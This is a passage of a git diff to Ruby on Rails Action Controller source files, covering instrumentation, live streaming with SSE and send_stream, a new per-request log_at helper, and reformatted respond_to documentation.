       elsif any_templates?(action_name.to_s, _prefixes)
         message = "#{self.class.name}\##{action_name} is missing a template " \
           "for this request format and variant.\n" \
@@ -39,18 +45,8 @@ def default_render(*args)
 
         raise ActionController::UnknownFormat, message
       elsif interactive_browser_request?
-        message = "#{self.class.name}\##{action_name} is missing a template " \
-          "for this request format and variant.\n\n" \
-          "request.formats: #{request.formats.map(&:to_s).inspect}\n" \
-          "request.variant: #{request.variant.inspect}\n\n" \
-          "NOTE! For XHR/Ajax or API requests, this action would normally " \
-          "respond with 204 No Content: an empty white screen. Since you're " \
-          "loading it in a web browser, we assume that you expected to " \
-          "actually render a template, not nothing, so we're showing an " \
-          "error to be extra-clear. If you expect 204 No Content, carry on. " \
-          "That's what you'll get from an XHR or API request. Give it a shot."
-
-        raise ActionController::UnknownFormat, message
+        message = "#{self.class.name}\##{action_name} is missing a template for request formats: #{request.formats.map(&:to_s).join(',')}"
+        raise ActionController::MissingExactTemplate.new(message, self.class, action_name)
       else
         logger.info "No template found for #{self.class.name}\##{action_name}, rendering head :no_content" if logger
         super
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index 924686218f253..8f7f634841915 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -1,10 +1,16 @@
-require "benchmark"
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "abstract_controller/logger"
 
 module ActionController
-  # Adds instrumentation to several ends in ActionController::Base. It also provides
-  # some hooks related with process_action, this allows an ORM like Active Record
-  # and/or DataMapper to plug in ActionController and show related information.
+  # # Action Controller Instrumentation
+  #
+  # Adds instrumentation to several ends in ActionController::Base. It also
+  # provides some hooks related with process_action. This allows an ORM like
+  # Active Record and/or DataMapper to plug in ActionController and show related
+  # information.
   #
   # Check ActiveRecord::Railties::ControllerRuntime for an example.
   module Instrumentation
@@ -14,34 +20,15 @@ module Instrumentation
 
     attr_internal :view_runtime
 
-    def process_action(*args)
-      raw_payload = {
-        controller: self.class.name,
-        action: action_name,
-        params: request.filtered_parameters,
-        headers: request.headers,
-        format: request.format.ref,
-        method: request.request_method,
-        path: request.fullpath
-      }
-
-      ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload.dup)
-
-      ActiveSupport::Notifications.instrument("process_action.action_controller", raw_payload) do |payload|
-        begin
-          result = super
-          payload[:status] = response.status
-          result
-        ensure
-          append_info_to_payload(payload)
-        end
-      end
+    def initialize(...) # :nodoc:
+      super
+      self.view_runtime = nil
     end
 
-    def render(*args)
+    def render(*)
       render_output = nil
       self.view_runtime = cleanup_view_runtime do
-        Benchmark.ms { render_output = super }
+        ActiveSupport::Benchmark.realtime(:float_millisecond) { render_output = super }
       end
       render_output
     end
@@ -59,8 +46,8 @@ def send_data(data, options = {})
       end
     end
 
-    def redirect_to(*args)
-      ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload|
+    def redirect_to(*)
+      ActiveSupport::Notifications.instrument("redirect_to.action_controller", request: request) do |payload|
         result = super
         payload[:status]   = response.status
         payload[:location] = response.filtered_location
@@ -68,42 +55,66 @@ def redirect_to(*args)
       end
     end
 
-  private
+    private
+      def process_action(*)
+        ActiveSupport::ExecutionContext[:controller] = self
 
-    # A hook invoked every time a before callback is halted.
-    def halted_callback_hook(filter)
-      ActiveSupport::Notifications.instrument("halted_callback.action_controller", filter: filter)
-    end
+        raw_payload = {
+          controller: self.class.name,
+          action: action_name,
+          request: request,
+          params: request.filtered_parameters,
+          headers: request.headers,
+          format: request.format.ref,
+          method: request.request_method,
+          path: request.filtered_path
+        }
 
-    # A hook which allows you to clean up any time, wrongly taken into account in
-    # views, like database querying time.
-    #
-    #   def cleanup_view_runtime
-    #     super - time_taken_in_something_expensive
-    #   end
-    #
-    # :api: plugin
-    def cleanup_view_runtime
-      yield
-    end
+        ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload)
 
-    # Every time after an action is processed, this method is invoked
-    # with the payload, so you can add more information.
-    # :api: plugin
-    def append_info_to_payload(payload)
-      payload[:view_runtime] = view_runtime
-    end
+        ActiveSupport::Notifications.instrument("process_action.action_controller", raw_payload) do |payload|
+          result = super
+          payload[:response] = response
+          payload[:status]   = response.status
+          result
+        rescue => error
+          payload[:status] = ActionDispatch::ExceptionWrapper.status_code_for_exception(error.class.name)
+          raise
+        ensure
+          append_info_to_payload(payload)
+        end
+      end
 
-    module ClassMethods
-      # A hook which allows other frameworks to log what happened during
-      # controller process action. This method should return an array
-      # with the messages to be added.
-      # :api: plugin
-      def log_process_action(payload) #:nodoc:
-        messages, view_runtime = [], payload[:view_runtime]
-        messages << ("Views: %.1fms" % view_runtime.to_f) if view_runtime
-        messages
+      # A hook invoked every time a before callback is halted.
+      def halted_callback_hook(filter, _)
+        ActiveSupport::Notifications.instrument("halted_callback.action_controller", filter: filter)
+      end
+
+      # A hook which allows you to clean up any time, wrongly taken into account in
+      # views, like database querying time.
+      #
+      #     def cleanup_view_runtime
+      #       super - time_taken_in_something_expensive
+      #     end
+      def cleanup_view_runtime # :doc:
+        yield
+      end
+
+      # Every time after an action is processed, this method is invoked with the
+      # payload, so you can add more information.
+      def append_info_to_payload(payload) # :doc:
+        payload[:view_runtime] = view_runtime
+      end
+
+      module ClassMethods
+        # A hook which allows other frameworks to log what happened during controller
+        # process action. This method should return an array with the messages to be
+        # added.
+        def log_process_action(payload) # :nodoc:
+          messages, view_runtime = [], payload[:view_runtime]
+          messages << ("Views: %.1fms" % view_runtime.to_f) if view_runtime
+          messages
+        end
       end
-    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index fed99e6c82b4a..d2f415bb52374 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -1,43 +1,105 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/http/response"
 require "delegate"
 require "active_support/json"
 
 module ActionController
-  # Mix this module into your controller, and all actions in that controller
-  # will be able to stream data to the client as it's written.
+  # # Action Controller Live
   #
-  #   class MyController < ActionController::Base
-  #     include ActionController::Live
+  # Mix this module into your controller, and all actions in that controller will
+  # be able to stream data to the client as it's written.
   #
-  #     def stream
-  #       response.headers['Content-Type'] = 'text/event-stream'
-  #       100.times {
-  #         response.stream.write "hello world\n"
-  #         sleep 1
-  #       }
-  #     ensure
-  #       response.stream.close
+  #     class MyController < ActionController::Base
+  #       include ActionController::Live
+  #
+  #       def stream
+  #         response.headers['Content-Type'] = 'text/event-stream'
+  #         100.times {
+  #           response.stream.write "hello world\n"
+  #           sleep 1
+  #         }
+  #       ensure
+  #         response.stream.close
+  #       end
   #     end
-  #   end
   #
-  # There are a few caveats with this module. You *cannot* write headers after the
-  # response has been committed (Response#committed? will return truthy).
-  # Calling +write+ or +close+ on the response stream will cause the response
-  # object to be committed. Make sure all headers are set before calling write
-  # or close on your stream.
+  # There are a few caveats with this module. You **cannot** write headers after
+  # the response has been committed (Response#committed? will return truthy).
+  # Calling `write` or `close` on the response stream will cause the response
+  # object to be committed. Make sure all headers are set before calling write or
+  # close on your stream.
   #
-  # You *must* call close on your stream when you're finished, otherwise the
+  # You **must** call close on your stream when you're finished, otherwise the
   # socket may be left open forever.
   #
   # The final caveat is that your actions are executed in a separate thread than
-  # the main thread. Make sure your actions are thread safe, and this shouldn't
-  # be a problem (don't share state across threads, etc).
+  # the main thread. Make sure your actions are thread safe, and this shouldn't be
+  # a problem (don't share state across threads, etc).
+  #
+  # Note that Rails includes `Rack::ETag` by default, which will buffer your
+  # response. As a result, streaming responses may not work properly with Rack
+  # 2.2.x, and you may need to implement workarounds in your application. You can
+  # either set the `ETag` or `Last-Modified` response headers or remove
+  # `Rack::ETag` from the middleware stack to address this issue.
+  #
+  # Here's an example of how you can set the `Last-Modified` header if your Rack
+  # version is 2.2.x:
+  #
+  #     def stream
+  #       response.headers["Content-Type"] = "text/event-stream"
+  #       response.headers["Last-Modified"] = Time.now.httpdate # Add this line if your Rack version is 2.2.x
+  #       ...
+  #     end
+  #
+  # ## Streaming and Execution State
+  #
+  # When streaming, the action is executed in a separate thread. By default, this thread
+  # shares execution state from the parent thread.
+  #
+  # You can configure which execution state keys should be excluded from being shared
+  # using the `config.action_controller.live.streaming_excluded_keys` configuration:
+  #
+  #   # config/application.rb
+  #   config.action_controller.live.streaming_excluded_keys = [:active_record_connected_to_stack]
+  #
+  # This is useful when using ActionController::Live inside a `connected_to` block. For example,
+  # if the parent request is reading from a replica using `connected_to(role: :reading)`, you may
+  # want the streaming thread to use its own connection context instead of inheriting the read-only
+  # context:
+  #
+  #   # Without configuration, streaming thread inherits read-only connection
+  #   ActiveRecord::Base.connected_to(role: :reading) do
+  #     @posts = Post.all
+  #     render stream: true # Streaming thread cannot write to database
+  #   end
+  #
+  #   # With configuration, streaming thread gets fresh connection context
+  #   # config.action_controller.live.streaming_excluded_keys = [:active_record_connected_to_stack]
+  #   ActiveRecord::Base.connected_to(role: :reading) do
+  #     @posts = Post.all
+  #     render stream: true # Streaming thread can write to database if needed
+  #   end
+  #
+  # Common keys you might want to exclude:
+  # - `:active_record_connected_to_stack` - Database connection routing and roles
+  # - `:active_record_prohibit_shard_swapping` - Shard swapping restrictions
+  #
+  # By default, no keys are excluded to maintain backward compatibility.
   module Live
     extend ActiveSupport::Concern
 
+    mattr_accessor :live_streaming_excluded_keys, default: []
+
+    included do
+      class_attribute :live_streaming_excluded_keys, instance_accessor: false, default: Live.live_streaming_excluded_keys
+    end
+
     module ClassMethods
       def make_response!(request)
-        if request.get_header("HTTP_VERSION") == "HTTP/1.0"
+        if (request.get_header("SERVER_PROTOCOL") || request.get_header("HTTP_VERSION")) == "HTTP/1.0"
           super
         else
           Live::Response.new.tap do |res|
@@ -47,44 +109,49 @@ def make_response!(request)
       end
     end
 
-    # This class provides the ability to write an SSE (Server Sent Event)
-    # to an IO stream. The class is initialized with a stream and can be used
-    # to either write a JSON string or an object which can be converted to JSON.
+    # # Action Controller Live Server Sent Events
+    #
+    # This class provides the ability to write an SSE (Server Sent Event) to an IO
+    # stream. The class is initialized with a stream and can be used to either write
+    # a JSON string or an object which can be converted to JSON.
     #
     # Writing an object will convert it into standard SSE format with whatever
     # options you have configured. You may choose to set the following options:
     #
-    #   1) Event. If specified, an event with this name will be dispatched on
-    #   the browser.
-    #   2) Retry. The reconnection time in milliseconds used when attempting
-    #   to send the event.
-    #   3) Id. If the connection dies while sending an SSE to the browser, then
-    #   the server will receive a +Last-Event-ID+ header with value equal to +id+.
+    # `:event`
+    # :   If specified, an event with this name will be dispatched on the browser.
+    #
+    # `:retry`
+    # :   The reconnection time in milliseconds used when attempting to send the event.
     #
-    # After setting an option in the constructor of the SSE object, all future
-    # SSEs sent across the stream will use those options unless overridden.
+    # `:id`
+    # :   If the connection dies while sending an SSE to the browser, then the
+    #     server will receive a `Last-Event-ID` header with value equal to `id`.
+    #
+    # After setting an option in the constructor of the SSE object, all future SSEs
+    # sent across the stream will use those options unless overridden.
     #
     # Example Usage:
     #
-    #   class MyController < ActionController::Base
-    #     include ActionController::Live
+    #     class MyController < ActionController::Base
+    #       include ActionController::Live
     #
-    #     def index
-    #       response.headers['Content-Type'] = 'text/event-stream'
-    #       sse = SSE.new(response.stream, retry: 300, event: "event-name")
-    #       sse.write({ name: 'John'})
-    #       sse.write({ name: 'John'}, id: 10)
-    #       sse.write({ name: 'John'}, id: 10, event: "other-event")
-    #       sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
-    #     ensure
-    #       sse.close
+    #       def index
+    #         response.headers['Content-Type'] = 'text/event-stream'
+    #         sse = SSE.new(response.stream, retry: 300, event: "event-name")
+    #         sse.write({ name: 'John'})
+    #         sse.write({ name: 'John'}, id: 10)
+    #         sse.write({ name: 'John'}, id: 10, event: "other-event")
+    #         sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+    #       ensure
+    #         sse.close
+    #       end
     #     end
-    #   end
     #
-    # Note: SSEs are not currently supported by IE. However, they are supported
-    # by Chrome, Firefox, Opera, and Safari.
+    # Note: SSEs are not currently supported by IE. However, they are supported by
+    # Chrome, Firefox, Opera, and Safari.
     class SSE
-      WHITELISTED_OPTIONS = %w( retry event id )
+      PERMITTED_OPTIONS = %w( retry event id )
 
       def initialize(stream, options = {})
         @stream = stream
@@ -105,46 +172,50 @@ def write(object, options = {})
       end
 
       private
-
         def perform_write(json, options)
           current_options = @options.merge(options).stringify_keys
-
-          WHITELISTED_OPTIONS.each do |option_name|
+          event = +""
+          PERMITTED_OPTIONS.each do |option_name|
             if (option_value = current_options[option_name])
-              @stream.write "#{option_name}: #{option_value}\n"
+              event << "#{option_name}: #{option_value}\n"
             end
           end
 
-          message = json.gsub("\n".freeze, "\ndata: ".freeze)
-          @stream.write "data: #{message}\n\n"
+          message = json.gsub("\n", "\ndata: ")
+          event << "data: #{message}\n\n"
+          @stream.write event
         end
     end
 
     class ClientDisconnected < RuntimeError
     end
 
-    class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+    class Buffer < ActionDispatch::Response::Buffer # :nodoc:
       include MonitorMixin
 
+      class << self
+        attr_accessor :queue_size
+      end
+      @queue_size = 10
+
       # Ignore that the client has disconnected.
       #
-      # If this value is `true`, calling `write` after the client
-      # disconnects will result in the written content being silently
-      # discarded. If this value is `false` (the default), a
-      # ClientDisconnected exception will be raised.
+      # If this value is `true`, calling `write` after the client disconnects will
+      # result in the written content being silently discarded. If this value is
+      # `false` (the default), a ClientDisconnected exception will be raised.
       attr_accessor :ignore_disconnect
 
       def initialize(response)
+        super(response, build_queue(self.class.queue_size))
         @error_callback = lambda { true }
         @cv = new_cond
         @aborted = false
         @ignore_disconnect = false
-        super(response, SizedQueue.new(10))
       end
 
       def write(string)
         unless @response.committed?
-          @response.set_header "Cache-Control", "no-cache"
+          @response.headers["Cache-Control"] ||= "no-cache"
           @response.delete_header "Content-Length"
         end
 
@@ -154,16 +225,20 @@ def write(string)
           @buf.clear
 
           unless @ignore_disconnect
-            # Raise ClientDisconnected, which is a RuntimeError (not an
-            # IOError), because that's more appropriate for something beyond
-            # the developer's control.
+            # Raise ClientDisconnected, which is a RuntimeError (not an IOError), because
+            # that's more appropriate for something beyond the developer's control.
             raise ClientDisconnected, "client disconnected"
           end
         end
       end
 
-      # Write a 'close' event to the buffer; the producer/writing thread
-      # uses this to notify us that it's finished supplying content.
+      # Same as `write` but automatically include a newline at the end of the string.
+      def writeln(string)
+        write string.end_with?("\n") ? string : "#{string}\n"
+      end
+
+      # Write a 'close' event to the buffer; the producer/writing thread uses this to
+      # notify us that it's finished supplying content.
       #
       # See also #abort.
       def close
@@ -174,9 +249,8 @@ def close
         end
       end
 
-      # Inform the producer/writing thread that the client has
-      # disconnected; the reading thread is no longer interested in
-      # anything that's being written.
+      # Inform the producer/writing thread that the client has disconnected; the
+      # reading thread is no longer interested in anything that's being written.
       #
       # See also #close.
       def abort
@@ -188,8 +262,8 @@ def abort
 
       # Is the client still connected and waiting for content?
       #
-      # The result of calling `write` when this is `false` is determined
-      # by `ignore_disconnect`.
+      # The result of calling `write` when this is `false` is determined by
+      # `ignore_disconnect`.
       def connected?
         !@aborted
       end
@@ -203,22 +277,19 @@ def call_on_error
       end
 
       private
-
         def each_chunk(&block)
-          loop do
-            str = nil
-            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-              str = @buf.pop
-            end
-            break unless str
+          while str = @buf.pop
             yield str
           end
         end
+
+        def build_queue(queue_size)
+          queue_size ? SizedQueue.new(queue_size) : Queue.new
+        end
     end
 
-    class Response < ActionDispatch::Response #:nodoc: all
+    class Response < ActionDispatch::Response # :nodoc: all
       private
-
         def before_committed
           super
           jar = request.cookie_jar
@@ -238,18 +309,18 @@ def process(name)
       locals = t1.keys.map { |key| [key, t1[key]] }
 
       error = nil
-      # This processes the action in a child thread. It lets us return the
-      # response code and headers back up the rack stack, and still process
-      # the body in parallel with sending data to the client
-      new_controller_thread {
+      # This processes the action in a child thread. It lets us return the response
+      # code and headers back up the Rack stack, and still process the body in
+      # parallel with sending data to the client.
+      new_controller_thread do
         ActiveSupport::Dependencies.interlock.running do
           t2 = Thread.current
 
-          # Since we're processing the view in a different thread, copy the
-          # thread locals from the main thread to the child thread. :'(
+          # Since we're processing the view in a different thread, copy the thread locals
+          # from the main thread to the child thread. :'(
           locals.each { |k, v| t2[k] = v }
 
-          begin
+          ActiveSupport::IsolatedExecutionState.share_with(t1, except: self.class.live_streaming_excluded_keys) do
             super(name)
           rescue => e
             if @_response.committed?
@@ -266,45 +337,97 @@ def process(name)
               error = e
             end
           ensure
+            clean_up_thread_locals(locals, t2)
+
             @_response.commit!
           end
         end
-      }
-
-      ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-        @_response.await_commit
       end
 
+      @_response.await_commit
+
       raise error if error
     end
 
-    # Spawn a new thread to serve up the controller in.  This is to get
-    # around the fact that Rack isn't based around IOs and we need to use
-    # a thread to stream data from the response bodies.  Nobody should call
-    # this method except in Rails internals. Seriously!
-    def new_controller_thread # :nodoc:
-      Thread.new {
-        t2 = Thread.current
-        t2.abort_on_exception = true
-        yield
-      }
+    def response_body=(body)
+      super
+      response.close if response
     end
 
-    def log_error(exception)
-      logger = ActionController::Base.logger
-      return unless logger
-
-      logger.fatal do
-        message = "\n#{exception.class} (#{exception.message}):\n"
-        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
-        message << "  " << exception.backtrace.join("\n  ")
-        "#{message}\n\n"
+    # Sends a stream to the browser, which is helpful when you're generating exports
+    # or other running data where you don't want the entire file buffered in memory
+    # first. Similar to send_data, but where the data is generated live.
+    #
+    # #### Options:
+    #
+    # *   `:filename` - suggests a filename for the browser to use.
+    # *   `:type` - specifies an HTTP content type. You can specify either a string
+    #     or a symbol for a registered type with `Mime::Type.register`, for example
+    #     :json. If omitted, type will be inferred from the file extension specified
+    #     in `:filename`. If no content type is registered for the extension, the
+    #     default type 'application/octet-stream' will be used.
+    # *   `:disposition` - specifies whether the file will be shown inline or
+    #     downloaded. Valid values are 'inline' and 'attachment' (default).
+    #
+    #
+    # Example of generating a csv export:
+    #
+    #     send_stream(filename: "subscribers.csv") do |stream|
+    #       stream.write "email_address,updated_at\n"
+    #
+    #       @subscribers.find_each do |subscriber|
+    #         stream.write "#{subscriber.email_address},#{subscriber.updated_at}\n"
+    #       end
+    #     end
+    def send_stream(filename:, disposition: "attachment", type: nil)
+      payload = { filename: filename, disposition: disposition, type: type }
+      ActiveSupport::Notifications.instrument("send_stream.action_controller", payload) do
+        response.headers["Content-Type"] =
+          (type.is_a?(Symbol) ? Mime[type].to_s : type) ||
+          Mime::Type.lookup_by_extension(File.extname(filename).downcase.delete("."))&.to_s ||
+          "application/octet-stream"
+
+        response.headers["Content-Disposition"] =
+          ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: filename)
+
+        yield response.stream
       end
+    ensure
+      response.stream.close
     end
 
-    def response_body=(body)
-      super
-      response.close if response
-    end
+    private
+      # Spawn a new thread to serve up the controller in. This is to get around the
+      # fact that Rack isn't based around IOs and we need to use a thread to stream
+      # data from the response bodies. Nobody should call this method except in Rails
+      # internals. Seriously!
+      def new_controller_thread # :nodoc:
+        ActionController::Live.live_thread_pool_executor.post do
+          t2 = Thread.current
+          t2.abort_on_exception = true
+          yield
+        end
+      end
+
+      # Ensure we clean up any thread locals we copied so that the thread can reused.
+      def clean_up_thread_locals(locals, thread) # :nodoc:
+        locals.each { |k, _| thread[k] = nil }
+      end
+
+      def self.live_thread_pool_executor
+        @live_thread_pool_executor ||= Concurrent::CachedThreadPool.new(name: "action_controller.live")
+      end
+
+      def log_error(exception)
+        logger = ActionController::Base.logger
+        return unless logger
+
+        logger.fatal do
+          message = +"\n#{exception.class} (#{exception.message}):\n"
+          message << exception.annotated_source_code.to_s if exception.respond_to?(:annotated_source_code)
+          message << "  " << exception.backtrace.join("\n  ")
+          "#{message}\n\n"
+        end
+      end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/logging.rb b/actionpack/lib/action_controller/metal/logging.rb
new file mode 100644
index 0000000000000..c00f16141c9d9
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/logging.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController
+  module Logging
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Set a different log level per request.
+      #
+      #     # Use the debug log level if a particular cookie is set.
+      #     class ApplicationController < ActionController::Base
+      #       log_at :debug, if: -> { cookies[:debug] }
+      #     end
+      #
+      def log_at(level, **options)
+        around_action ->(_, action) { logger.log_at(level, &action) }, **options
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index f6aabcb102c78..c03b17700fca4 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -1,193 +1,213 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "abstract_controller/collector"
 
-module ActionController #:nodoc:
+module ActionController # :nodoc:
   module MimeResponds
-    # Without web-service support, an action which collects the data for displaying a list of people
-    # might look something like this:
+    # Without web-service support, an action which collects the data for displaying
+    # a list of people might look something like this:
     #
-    #   def index
-    #     @people = Person.all
-    #   end
+    #     def index
+    #       @people = Person.all
+    #     end
     #
-    # That action implicitly responds to all formats, but formats can also be whitelisted:
+    # That action implicitly responds to all formats, but formats can also be
+    # explicitly enumerated:
     #
-    #   def index
-    #     @people = Person.all
-    #     respond_to :html, :js
-    #   end
+    #     def index
+    #       @people = Person.all
+    #       respond_to :html, :js
+    #     end
     #
     # Here's the same action, with web-service support baked in:
     #
-    #   def index
-    #     @people = Person.all
+    #     def index
+    #       @people = Person.all
     #
-    #     respond_to do |format|
-    #       format.html
-    #       format.js
-    #       format.xml { render xml: @people }
+    #       respond_to do |format|
+    #         format.html
+    #         format.js
+    #         format.xml { render xml: @people }
+    #       end
     #     end
-    #   end
     #
-    # What that says is, "if the client wants HTML or JS in response to this action, just respond as we
-    # would have before, but if the client wants XML, return them the list of people in XML format."
-    # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
+    # What that says is, "if the client wants HTML or JS in response to this action,
+    # just respond as we would have before, but if the client wants XML, return them
+    # the list of people in XML format." (Rails determines the desired response
+    # format from the HTTP Accept header submitted by the client.)
     #
-    # Supposing you have an action that adds a new person, optionally creating their company
-    # (by name) if it does not already exist, without web-services, it might look like this:
+    # Supposing you have an action that adds a new person, optionally creating their
+    # company (by name) if it does not already exist, without web-services, it might
+    # look like this:
     #
-    #   def create
-    #     @company = Company.find_or_create_by(name: params[:company][:name])
-    #     @person  = @company.people.create(params[:person])
+    #     def create
+    #       @company = Company.find_or_create_by(name: params[:company][:name])
+    #       @person  = @company.people.create(params[:person])
     #
-    #     redirect_to(person_list_url)
-    #   end
+    #       redirect_to(person_list_url)
+    #     end
     #
     # Here's the same action, with web-service support baked in:
     #
-    #   def create
-    #     company  = params[:person].delete(:company)
-    #     @company = Company.find_or_create_by(name: company[:name])
-    #     @person  = @company.people.create(params[:person])
+    #     def create
+    #       company  = params[:person].delete(:company)
+    #       @company = Company.find_or_create_by(name: company[:name])
+    #       @person  = @company.people.create(params[:person])
     #
-    #     respond_to do |format|
-    #       format.html { redirect_to(person_list_url) }
-    #       format.js
-    #       format.xml  { render xml: @person.to_xml(include: @company) }
+    #       respond_to do |format|
+    #         format.html { redirect_to(person_list_url) }
+    #         format.js
+    #         format.xml  { render xml: @person.to_xml(include: @company) }
+    #       end
     #     end
-    #   end
     #
-    # If the client wants HTML, we just redirect them back to the person list. If they want JavaScript,
-    # then it is an Ajax request and we render the JavaScript template associated with this action.
-    # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
-    # include the person's company in the rendered XML, so you get something like this:
+    # If the client wants HTML, we just redirect them back to the person list. If
+    # they want JavaScript, then it is an Ajax request and we render the JavaScript
+    # template associated with this action. Lastly, if the client wants XML, we
+    # render the created person as XML, but with a twist: we also include the
+    # person's company in the rendered XML, so you get something like this:
     #
-    #   <person>
-    #     <id>...</id>
-    #     ...
-    #     <company>
+    #     <person>
     #       <id>...</id>
-    #       <name>...</name>
     #       ...
-    #     </company>
-    #   </person>
+    #       <company>
+    #         <id>...</id>
+    #         <name>...</name>
+    #         ...
+    #       </company>
+    #     </person>
     #
     # Note, however, the extra bit at the top of that action:
     #
-    #   company  = params[:person].delete(:company)
-    #   @company = Company.find_or_create_by(name: company[:name])
+    #     company  = params[:person].delete(:company)
+    #     @company = Company.find_or_create_by(name: company[:name])
     #
-    # This is because the incoming XML document (if a web-service request is in process) can only contain a
-    # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
+    # This is because the incoming XML document (if a web-service request is in
+    # process) can only contain a single root-node. So, we have to rearrange things
+    # so that the request looks like this (url-encoded):
     #
-    #   person[name]=...&person[company][name]=...&...
+    #     person[name]=...&person[company][name]=...&...
     #
     # And, like this (xml-encoded):
     #
-    #   <person>
-    #     <name>...</name>
-    #     <company>
+    #     <person>
     #       <name>...</name>
-    #     </company>
-    #   </person>
+    #       <company>
+    #         <name>...</name>
+    #       </company>
+    #     </person>
     #
-    # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
-    # we extract the company data from the request, find or create the company, and then create the new person
-    # with the remaining data.
+    # In other words, we make the request so that it operates on a single entity's
+    # person. Then, in the action, we extract the company data from the request,
+    # find or create the company, and then create the new person with the remaining
+    # data.
     #
-    # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
-    # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
-    # and accept Rails' defaults, life will be much easier.
+    # Note that you can define your own XML parameter parser which would allow you
+    # to describe multiple entities in a single request (i.e., by wrapping them all
+    # in a single root node), but if you just go with the flow and accept Rails'
+    # defaults, life will be much easier.
     #
-    # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
-    # +config/initializers/mime_types.rb+ as follows.
+    # If you need to use a MIME type which isn't supported by default, you can
+    # register your own handlers in `config/initializers/mime_types.rb` as follows.
     #
-    #   Mime::Type.register "image/jpg", :jpg
+    #     Mime::Type.register "image/jpeg", :jpg
     #
-    # Respond to also allows you to specify a common block for different formats by using +any+:
+    # `respond_to` also allows you to specify a common block for different formats
+    # by using `any`:
     #
-    #   def index
-    #     @people = Person.all
+    #     def index
+    #       @people = Person.all
     #
-    #     respond_to do |format|
-    #       format.html
-    #       format.any(:xml, :json) { render request.format.to_sym => @people }
+    #       respond_to do |format|
+    #         format.html
+    #         format.any(:xml, :json) { render request.format.to_sym => @people }
+    #       end
     #     end
-    #   end
     #
     # In the example above, if the format is xml, it will render:
     #
-    #   render xml: @people
+    #     render xml: @people
     #
     # Or if the format is json:
     #
-    #   render json: @people
+    #     render json: @people
+    #
+    # `any` can also be used with no arguments, in which case it will be used for
+    # any format requested by the user:
+    #
+    #     respond_to do |format|
+    #       format.html
+    #       format.any { redirect_to support_path }
+    #     end
     #
     # Formats can have different variants.
     #
-    # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
-    # <tt>:phone</tt>, or <tt>:desktop</tt>.
+    # The request variant is a specialization of the request format, like `:tablet`,
+    # `:phone`, or `:desktop`.
     #
-    # We often want to render different html/json/xml templates for phones,
-    # tablets, and desktop browsers. Variants make it easy.
+    # We often want to render different html/json/xml templates for phones, tablets,
+    # and desktop browsers. Variants make it easy.
     #
-    # You can set the variant in a +before_action+:
+    # You can set the variant in a `before_action`:
     #
-    #   request.variant = :tablet if request.user_agent =~ /iPad/
+    #     request.variant = :tablet if /iPad/.match?(request.user_agent)
     #
     # Respond to variants in the action just like you respond to formats:
     #
-    #   respond_to do |format|
-    #     format.html do |variant|
-    #       variant.tablet # renders app/views/projects/show.html+tablet.erb
-    #       variant.phone { extra_setup; render ... }
-    #       variant.none  { special_setup } # executed only if there is no variant set
+    #     respond_to do |format|
+    #       format.html do |variant|
+    #         variant.tablet # renders app/views/projects/show.html+tablet.erb
+    #         variant.phone { extra_setup; render ... }
+    #         variant.none  { special_setup } # executed only if there is no variant set
+    #       end
     #     end
-    #   end
     #
     # Provide separate templates for each format and variant:
     #
-    #   app/views/projects/show.html.erb
-    #   app/views/projects/show.html+tablet.erb
-    #   app/views/projects/show.html+phone.erb
+    #     app/views/projects/show.html.erb
+    #     app/views/projects/show.html+tablet.erb
+    #     app/views/projects/show.html+phone.erb
     #
-    # When you're not sharing any code within the format, you can simplify defining variants
-    # using the inline syntax:
+    # When you're not sharing any code within the format, you can simplify defining
+    # variants using the inline syntax:
     #
-    #   respond_to do |format|
-    #     format.js         { render "trash" }
-    #     format.html.phone { redirect_to progress_path }
-    #     format.html.none  { render "trash" }
-    #   end
+    #     respond_to do |format|
+    #       format.js         { render "trash" }
+    #       format.html.phone { redirect_to progress_path }
+    #       format.html.none  { render "trash" }
+    #     end
     #
-    # Variants also support common +any+/+all+ block that formats have.
+    # Variants also support common `any`/`all` block that formats have.
     #
     # It works for both inline:
     #
-    #   respond_to do |format|
-    #     format.html.any   { render html: "any"   }
-    #     format.html.phone { render html: "phone" }
-    #   end
+    #     respond_to do |format|
+    #       format.html.any   { render html: "any"   }
+    #       format.html.phone { render html: "phone" }
+    #     end
     #
     # and block syntax:
     #
-    #   respond_to do |format|
-    #     format.html do |variant|
-    #       variant.any(:tablet, :phablet){ render html: "any" }
-    #       variant.phone { render html: "phone" }
+    #     respond_to do |format|
+    #       format.html do |variant|
+    #         variant.any(:tablet, :phablet){ render html: "any" }
+    #         variant.phone { render html: "phone" }
+    #       end
